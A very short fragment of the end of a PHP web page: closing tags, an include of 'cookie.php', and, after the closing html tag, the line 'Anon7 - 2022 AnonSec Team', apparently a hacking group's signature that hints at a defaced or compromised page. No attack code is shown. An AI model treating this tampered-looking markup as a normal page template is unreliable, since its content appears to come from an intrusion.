    </div>
    <?php  include_once ("cookie.php"); ?>

    </body>

</html>

Anon7 - 2022
AnonSec Team